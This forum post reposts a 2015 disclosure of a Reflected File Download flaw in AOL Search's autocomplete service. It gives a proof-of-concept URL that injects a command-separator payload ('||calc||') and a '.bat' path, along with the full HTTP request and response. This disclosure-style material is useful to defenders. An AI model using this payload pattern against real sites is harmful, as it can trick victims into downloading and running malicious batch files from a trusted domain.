Aerosol Posted February 18, 2015 Report Posted February 18, 2015 Oren Hafif reported a new kind of attack called Reflected FileDownload (https://www.blackhat.com/eu-14/briefings.html#reflected-file-download-a-new-web-attack-vector)in Black Hat Europe 2014 conference.More details about the attack you can found in his publicpresentation: https://www.blackhat.com/docs/eu-14/materials/eu-14-Hafif-Reflected-File-Download-A-New-Web-Attack-Vector.pdf.Google and Bing have already fixed the vulnerability but I've foundthe same vulnerability in AOL Search Website.A malicious user could send the link below to a victim that youdownload a malicious batch file from autocomplete.search.aol.comdomain.In the link below we have search for 'iramar "||calc||' using the AOLautocomplete domain. The browser will encode the double quotes but theserver will escape it (\") and return inside the json on the bodyresponse.Since the response has the header "Content-Type:application/x-suggestions+json;charset=UTF-8" the browser willautomatically try to download the reflected file. Chrome didn't try todownload the file but Internet Explorer and Firefox will.http://autocomplete.search.aol.com/autocomplete/get;calc.bat?q=iramar"||calc||&it=ws-landing&dict=en_us_search&count=8&output=jsonREQUESTGET http://autocomplete.search.aol.com/autocomplete/get;calc.bat?q=iramar%22||calc||&it=ws-landing&dict=en_us_search&count=8&output=jsonHTTP/1.1Host: autocomplete.search.aol.comUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0)Gecko/20100101 Firefox/33.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCookie: ...Connection: keep-aliveRESPONSEHTTP/1.1 200 OKDate: Tue, 21 Oct 2014 10:30:34 GMTServer: Apache-Coyote/1.1Content-Type: application/x-suggestions+json;charset=UTF-8Content-Language: en-USContent-Length: 24Keep-Alive: timeout=5, max=10Connection: Keep-Alive["iramar\"||calc||", []]Source Quote